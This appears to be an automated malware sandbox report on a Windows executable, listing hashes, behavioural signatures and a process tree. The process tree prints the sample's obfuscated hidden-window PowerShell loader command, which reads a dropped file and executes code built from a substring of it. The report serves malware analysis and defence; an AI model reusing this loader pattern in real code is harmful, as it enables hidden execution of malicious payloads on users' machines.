Analysis

  • max time kernel
    119s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    22-10-2024 12:26

General

  • Target

    001_215_EA2047939_202410210815.exe

  • Size

    867KB

  • MD5

    25da279ad7ee7cc3b8d3e5cd5aa4b5b2

  • SHA1

    d1fc6cbe8d8cca235ed29de6b109a0cb951eb5f3

  • SHA256

    963d35a92ffdbbdd35c71fc392a73ce49e242ca1b80f94204ef714cc42bbf8d0

  • SHA512

    db074cfe6c006f194b8b4ca983fb83a88229beb229504c8eba07140fe490974e90dfe75b66b9c4d81bd319fdaaccc822473064771b7ac8d333012859f139498e

  • SSDEEP

    12288:l9Zwb4/I1H06OdtVQuqilUSDFOIBETeVlCE7vkQymGwSW01hXqvjoaCi7lnsZz0W:/dPFtVtOIB+alCJmvulW6Nd0vu

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\001_215_EA2047939_202410210815.exe
    "C:\Users\Admin\AppData\Local\Temp\001_215_EA2047939_202410210815.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Seppo=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Kontokurantens.Unc';$Underviseren=$Seppo.SubString(52189,3);.$Underviseren($Seppo)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2744
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Seppo=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Kontokurantens.Unc';$Underviseren=$Seppo.SubString(52189,3);.$Underviseren($Seppo)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2928

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    e24330ad3b61b1b181610e6dfcbc7a32

    SHA1

    baebceaa48032b540e8359d22cb58b5ea5c8b4a6

    SHA256

    2db87cfd51af4f652279a3c5e09ef5b42af329e7a83f15c380088d2304b420a8

    SHA512

    36f57cdce6d530f30eeb0e09b86e27d77831a0fa270f7a501ea0d7d8a6a6208340ff8bb24c4e2321189eb29e079992726c88c28c5c037853c916154f30bf14dd

  • memory/2744-9-0x0000000073E81000-0x0000000073E82000-memory.dmp

    Filesize

    4KB

  • memory/2744-10-0x0000000073E80000-0x000000007442B000-memory.dmp

    Filesize

    5.7MB

  • memory/2744-11-0x0000000073E80000-0x000000007442B000-memory.dmp

    Filesize

    5.7MB

  • memory/2744-17-0x0000000073E80000-0x000000007442B000-memory.dmp

    Filesize

    5.7MB

  • memory/2744-18-0x0000000073E80000-0x000000007442B000-memory.dmp

    Filesize

    5.7MB